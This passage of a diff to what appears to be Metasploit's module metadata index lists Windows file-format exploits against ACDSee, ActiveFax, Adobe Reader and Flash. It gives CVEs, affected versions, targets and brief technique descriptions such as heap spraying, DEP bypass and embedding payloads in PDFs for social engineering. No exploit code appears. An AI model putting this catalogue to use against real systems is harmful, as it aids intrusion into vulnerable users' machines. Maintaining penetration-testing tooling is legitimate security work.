"ref_name": "windows/fileformat/acdsee_fotoslate_string", @@ -152395,6 +155673,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152402,16 +155689,14 @@ "exploit_windows/fileformat/acdsee_xpm": { "name": "ACDSee XPM File Section Buffer Overflow", "fullname": "exploit/windows/fileformat/acdsee_xpm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-11-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in ACDSee 9.0.\n When viewing a malicious XPM file with the ACDSee product,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", + "description": "This module exploits a buffer overflow in ACDSee 9.0.\n When viewing a malicious XPM file with the ACDSee product,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", "references": [ "CVE-2007-2193", "OSVDB-35236", @@ -152420,16 +155705,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ACDSee 9.0 (Build 1008)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/acdsee_xpm.rb", "is_install_path": true, "ref_name": "windows/fileformat/acdsee_xpm", @@ -152437,6 +155718,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152444,9 +155734,7 @@ "exploit_windows/fileformat/actfax_import_users_bof": { "name": "ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow", "fullname": "exploit/windows/fileformat/actfax_import_users_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-28", "type": "exploit", @@ -152455,7 +155743,7 @@ "Brandon Perry", "juan vazquez " ], - "description": "This module exploits a vulnerability in ActiveFax Server. The vulnerability is\n a stack based buffer overflow in the \"Import Users from File\" function, due to the\n insecure usage of strcpy while parsing the csv formatted file. The module creates a\n .exp file that must be imported with ActiveFax Server. It must be imported with the\n default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested\n successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the\n Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.", + "description": "This module exploits a vulnerability in ActiveFax Server. The vulnerability is\n a stack based buffer overflow in the \"Import Users from File\" function, due to the\n insecure usage of strcpy while parsing the csv formatted file. The module creates a\n .exp file that must be imported with ActiveFax Server. It must be imported with the\n default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested\n successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the\n Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.", "references": [ "OSVDB-85175", "EDB-20915", @@ -152464,16 +155752,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/actfax_import_users_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/actfax_import_users_bof", @@ -152481,6 +155765,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152488,16 +155781,14 @@ "exploit_windows/fileformat/activepdf_webgrabber": { "name": "activePDF WebGrabber ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/activepdf_webgrabber", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-08-26", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When\n sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)\n an attacker may be able to execute arbitrary code. This control is not marked safe\n for scripting, so choose your attack vector accordingly.", + "description": "This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When\n sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)\n an attacker may be able to execute arbitrary code. This control is not marked safe\n for scripting, so choose your attack vector accordingly.", "references": [ "OSVDB-64579", "URL-http://www.activepdf.com/products/serverproducts/webgrabber/" @@ -152505,16 +155796,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/activepdf_webgrabber.rb", "is_install_path": true, "ref_name": "windows/fileformat/activepdf_webgrabber", @@ -152522,6 +155809,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152529,9 +155825,7 @@ "exploit_windows/fileformat/adobe_collectemailinfo": { "name": "Adobe Collab.collectEmailInfo() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_collectemailinfo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-08", "type": "exploit", @@ -152547,16 +155841,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_collectemailinfo", @@ -152564,6 +155854,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152571,9 +155870,7 @@ "exploit_windows/fileformat/adobe_cooltype_sing": { "name": "Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_cooltype_sing", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-09-07", "type": "exploit", @@ -152582,7 +155879,7 @@ "sn0wfl0w", "jduck " ], - "description": "This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table\n handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are\n assumed to be vulnerable as well.", + "description": "This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table\n handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior versions are\n assumed to be vulnerable as well.", "references": [ "CVE-2010-2883", "OSVDB-67849", @@ -152592,16 +155889,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_cooltype_sing", @@ -152609,6 +155902,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152616,9 +155918,7 @@ "exploit_windows/fileformat/adobe_flashplayer_button": { "name": "Adobe Flash Player \"Button\" Remote Code Execution", "fullname": "exploit/windows/fileformat/adobe_flashplayer_button", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-28", "type": "exploit", @@ -152627,7 +155927,7 @@ "Haifei Li", "jduck " ], - "description": "This module exploits a vulnerability in the handling of certain SWF movies\n within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat\n are also vulnerable, as are any other applications that may embed Flash player.\n\n Arbitrary code execution is achieved by embedding a specially crafted Flash\n movie into a PDF document. An AcroJS heap spray is used in order to ensure\n that the memory used by the invalid pointer issue is controlled.\n\n NOTE: This module uses a similar DEP bypass method to that used within the\n adobe_libtiff module. This method is unlikely to work across various\n Windows versions due to a hardcoded syscall number.", + "description": "This module exploits a vulnerability in the handling of certain SWF movies\n within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat\n are also vulnerable, as are any other applications that may embed Flash player.\n\n Arbitrary code execution is achieved by embedding a specially crafted Flash\n movie into a PDF document. An AcroJS heap spray is used in order to ensure\n that the memory used by the invalid pointer issue is controlled.\n\n NOTE: This module uses a similar DEP bypass method to that used within the\n adobe_libtiff module. This method is unlikely to work across various\n Windows versions due to a hardcoded syscall number.", "references": [ "CVE-2010-3654", "OSVDB-68932", @@ -152639,16 +155939,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_flashplayer_button", @@ -152656,6 +155952,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152663,9 +155968,7 @@ "exploit_windows/fileformat/adobe_flashplayer_newfunction": { "name": "Adobe Flash Player \"newfunction\" Invalid Pointer Use", "fullname": "exploit/windows/fileformat/adobe_flashplayer_newfunction", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-04", "type": "exploit", @@ -152673,7 +155976,7 @@ "Unknown", "jduck " ], - "description": "This module exploits a vulnerability in the DoABC tag handling within\n versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also\n vulnerable, as are any other applications that may embed Flash player.\n\n Arbitrary code execution is achieved by embedding a specially crafted Flash\n movie into a PDF document. An AcroJS heap spray is used in order to ensure\n that the memory used by the invalid pointer issue is controlled.\n\n NOTE: This module uses a similar DEP bypass method to that used within the\n adobe_libtiff module. This method is unlikely to work across various\n Windows versions due a the hardcoded syscall number.", + "description": "This module exploits a vulnerability in the DoABC tag handling within\n versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also\n vulnerable, as are any other applications that may embed Flash player.\n\n Arbitrary code execution is achieved by embedding a specially crafted Flash\n movie into a PDF document. An AcroJS heap spray is used in order to ensure\n that the memory used by the invalid pointer issue is controlled.\n\n NOTE: This module uses a similar DEP bypass method to that used within the\n adobe_libtiff module. This method is unlikely to work across various\n Windows versions due a the hardcoded syscall number.", "references": [ "CVE-2010-1297", "OSVDB-65141", @@ -152684,16 +155987,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_flashplayer_newfunction", @@ -152701,6 +156000,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152708,9 +156016,7 @@ "exploit_windows/fileformat/adobe_flatedecode_predictor02": { "name": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "fullname": "exploit/windows/fileformat/adobe_flatedecode_predictor02", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-08", "type": "exploit", @@ -152718,27 +156024,23 @@ "unknown", "jduck " ], - "description": "This module exploits an integer overflow vulnerability in Adobe Reader and Adobe\n Acrobat Professional versions before 9.2.", + "description": "This module exploits an integer overflow vulnerability in Adobe Reader and Adobe\n Acrobat Professional versions before 9.2.", "references": [ "CVE-2009-3459", "BID-36600", "OSVDB-58729", - "URL-http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html", + "URL-http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/", "URL-http://www.adobe.com/support/security/bulletins/apsb09-15.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_flatedecode_predictor02", @@ -152746,6 +156048,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152753,9 +156064,7 @@ "exploit_windows/fileformat/adobe_geticon": { "name": "Adobe Collab.getIcon() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_geticon", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-24", "type": "exploit", @@ -152764,7 +156073,7 @@ "Didier Stevens ", "jduck " ], - "description": "This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.\n Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially\n crafted pdf that a contains malformed Collab.getIcon() call, an attacker may\n be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.\n Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially\n crafted pdf that a contains malformed Collab.getIcon() call, an attacker may\n be able to execute arbitrary code.", "references": [ "CVE-2009-0927", "OSVDB-53647", @@ -152773,16 +156082,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Universal (JS Heap Spray)" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_geticon.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_geticon", @@ -152790,6 +156095,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152797,9 +156111,7 @@ "exploit_windows/fileformat/adobe_illustrator_v14_eps": { "name": "Adobe Illustrator CS4 v14.0.0", "fullname": "exploit/windows/fileformat/adobe_illustrator_v14_eps", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-03", "type": "exploit", @@ -152807,7 +156119,7 @@ "pyrokinesis", "dookie" ], - "description": "Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)\n overlong DSC Comment Buffer Overflow Exploit", + "description": "Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)\n overlong DSC Comment Buffer Overflow Exploit", "references": [ "CVE-2009-4195", "BID-37192", @@ -152817,16 +156129,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_illustrator_v14_eps", @@ -152834,6 +156142,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152841,9 +156158,7 @@ "exploit_windows/fileformat/adobe_jbig2decode": { "name": "Adobe JBIG2Decode Memory Corruption", "fullname": "exploit/windows/fileformat/adobe_jbig2decode", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-02-19", "type": "exploit", @@ -152862,17 +156177,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v9.0.0 (Windows XP SP3 English)", "Adobe Reader v8.1.2 (Windows XP SP2 English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_jbig2decode.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_jbig2decode", @@ -152880,6 +156191,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152887,9 +156207,7 @@ "exploit_windows/fileformat/adobe_libtiff": { "name": "Adobe Acrobat Bundled LibTIFF Integer Overflow", "fullname": "exploit/windows/fileformat/adobe_libtiff", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-02-16", "type": "exploit", @@ -152898,7 +156216,7 @@ "villy ", "jduck " ], - "description": "This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat\n Professional versions 8.0 through 8.2 and 9.0 through 9.3.", + "description": "This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat\n Professional versions 8.0 through 8.2 and 9.0 through 9.3.", "references": [ "CVE-2010-0188", "BID-38195", @@ -152910,16 +156228,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_libtiff.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_libtiff", @@ -152927,6 +156241,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152934,9 +156257,7 @@ "exploit_windows/fileformat/adobe_media_newplayer": { "name": "Adobe Doc.media.newPlayer Use After Free Vulnerability", "fullname": "exploit/windows/fileformat/adobe_media_newplayer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-12-14", "type": "exploit", @@ -152946,7 +156267,7 @@ "pusscat ", "jduck " ], - "description": "This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat\n Professional versions up to and including 9.2.", + "description": "This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat\n Professional versions up to and including 9.2.", "references": [ "CVE-2009-4324", "BID-37331", @@ -152955,17 +156276,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows English (JS Heap Spray)", "Adobe Reader Windows German (JS Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_media_newplayer.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_media_newplayer", @@ -152973,6 +156290,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -152980,9 +156306,7 @@ "exploit_windows/fileformat/adobe_pdf_embedded_exe": { "name": "Adobe PDF Embedded EXE Social Engineering", "fullname": "exploit/windows/fileformat/adobe_pdf_embedded_exe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-29", "type": "exploit", @@ -153002,12 +156326,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)" ], @@ -153036,16 +156356,14 @@ "exploit_windows/fileformat/adobe_pdf_embedded_exe_nojs": { "name": "Adobe PDF Escape EXE Social Engineering (No JavaScript)", "fullname": "exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-29", "type": "exploit", "author": [ "Jeremy Conway " ], - "description": "This module embeds a Metasploit payload into an existing PDF file in\n a non-standard method. The resulting PDF can be sent to a target as\n part of a social engineering attack.", + "description": "This module embeds a Metasploit payload into an existing PDF file in\n a non-standard method. The resulting PDF can be sent to a target as\n part of a social engineering attack.", "references": [ "CVE-2010-1240", "OSVDB-63667", @@ -153057,16 +156375,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader <= v9.3.3 (Windows XP SP3 English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_pdf_embedded_exe_nojs", @@ -153074,6 +156388,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153081,9 +156404,7 @@ "exploit_windows/fileformat/adobe_reader_u3d": { "name": "Adobe Reader U3D Memory Corruption Vulnerability", "fullname": "exploit/windows/fileformat/adobe_reader_u3d", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -153093,29 +156414,25 @@ "juan vazquez ", "jduck " ], - "description": "This module exploits a vulnerability in the U3D handling within\n versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.\n The vulnerability is due to the use of uninitialized memory.\n\n Arbitrary code execution is achieved by embedding specially crafted U3D\n data into a PDF document. A heap spray via JavaScript is used in order to\n ensure that the memory used by the invalid pointer issue is controlled.", + "description": "This module exploits a vulnerability in the U3D handling within\n versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.\n The vulnerability is due to the use of uninitialized memory.\n\n Arbitrary code execution is achieved by embedding specially crafted U3D\n data into a PDF document. A heap spray via JavaScript is used in order to\n ensure that the memory used by the invalid pointer issue is controlled.", "references": [ "CVE-2011-2462", "OSVDB-77529", "BID-50922", "URL-http://www.adobe.com/support/security/advisories/apsa11-04.html", - "URL-http://blog.9bplus.com/analyzing-cve-2011-2462", + "URL-http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/", "URL-https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0", "URL-http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_reader_u3d.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_reader_u3d", @@ -153123,6 +156440,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153130,9 +156456,7 @@ "exploit_windows/fileformat/adobe_toolbutton": { "name": "Adobe Reader ToolButton Use After Free", "fullname": "exploit/windows/fileformat/adobe_toolbutton", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-08-08", "type": "exploit", @@ -153142,7 +156466,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6\n and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where\n the cEnable callback can be used to early free the object memory. Later use of the object\n allows triggering the use after free condition. This module has been tested successfully\n on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in\n November, 2013.", + "description": "This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6\n and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where\n the cEnable callback can be used to early free the object memory. Later use of the object\n allows triggering the use after free condition. This module has been tested successfully\n on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in\n November, 2013.", "references": [ "CVE-2013-3346", "OSVDB-96745", @@ -153153,16 +156477,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP / Adobe Reader 9/10/11" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_toolbutton.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_toolbutton", @@ -153170,6 +156490,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153177,9 +156506,7 @@ "exploit_windows/fileformat/adobe_u3d_meshdecl": { "name": "Adobe U3D CLODProgressiveMeshDeclaration Array Overrun", "fullname": "exploit/windows/fileformat/adobe_u3d_meshdecl", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-13", "type": "exploit", @@ -153196,16 +156523,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_u3d_meshdecl", @@ -153213,6 +156536,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153220,9 +156552,7 @@ "exploit_windows/fileformat/adobe_utilprintf": { "name": "Adobe util.printf() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_utilprintf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-08", "type": "exploit", @@ -153230,7 +156560,7 @@ "MC ", "Didier Stevens " ], - "description": "This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional\n < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()\n entry, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional\n < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()\n entry, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-2992", "OSVDB-49520" @@ -153238,16 +156568,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.1.2 (Windows XP SP3 English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/adobe_utilprintf.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_utilprintf", @@ -153255,6 +156581,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153262,9 +156597,7 @@ "exploit_windows/fileformat/allplayer_m3u_bof": { "name": "ALLPlayer M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/allplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": 